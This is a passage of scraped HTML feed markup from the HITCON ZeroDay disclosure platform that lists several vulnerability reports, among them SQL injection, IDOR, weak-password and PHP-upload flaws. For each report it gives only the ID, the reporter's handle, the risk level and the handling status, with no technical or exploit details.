 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/11 11:14:48
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 06:54:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:40:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00853
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 11 Oct 2022 11:14:48 GMT</pubDate></item><item><title> 某單位 医院模板通用型SQL注入</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00852</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-critical-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00852
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 医院模板通用型SQL注入
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      通用型SQL注入
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-critical">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/10 11:44:34
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 cra5h 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:39:22
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00852
    </li>
    <li>
     通報者：cra5h (
     <a href="/user/cra5h">
      cra5h
     </a>
     )
    </li>
    <li>
     風險：嚴重
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 10 Oct 2022 11:44:34 GMT</pubDate></item><item><title> 某單位 資料洩漏導致猜測出後臺弱密碼</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00849</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00849
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 資料洩漏導致猜測出後臺弱密碼
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      資料洩漏導致猜測出後臺弱密碼
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/09 03:08:41
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 03:11:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 03:11:46
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 08:16:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:35:39
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:37:09
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:37:09
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:37:09
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00849
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：弱密碼 (Weak Passwords)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 09 Oct 2022 03:08:41 GMT</pubDate></item><item><title> 某單位 任意檔案上傳</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00838</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00838
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 任意檔案上傳
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      可上傳PHP檔案
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/05 01:03:42
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 yoni13 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 01:02:50
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:36:38
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:36:38
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00838
    </li>
    <li>
     通報者：yoni13 (
     <a href="/user/yoni13">
      yoni13
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：任意檔案上傳 (Arbitrary File Upload)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Wed, 05 Oct 2022 01:03:42 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00845</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00845
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sql injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/07 10:13:29
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 01:11:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:36:19
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:36:19
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00845
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 07 Oct 2022 10:13:29 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00844</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00844
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sql injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/07 09:15:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 01:10:01
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:34:32
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:34:32
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:34:32
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00844
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 07 Oct 2022 09:15:56 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00843</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00843
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sql injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/07 09:13:29
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 01:09:25
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:32:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:32:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:32:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00843
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 07 Oct 2022 09:13:29 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00842</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00842
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sql injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
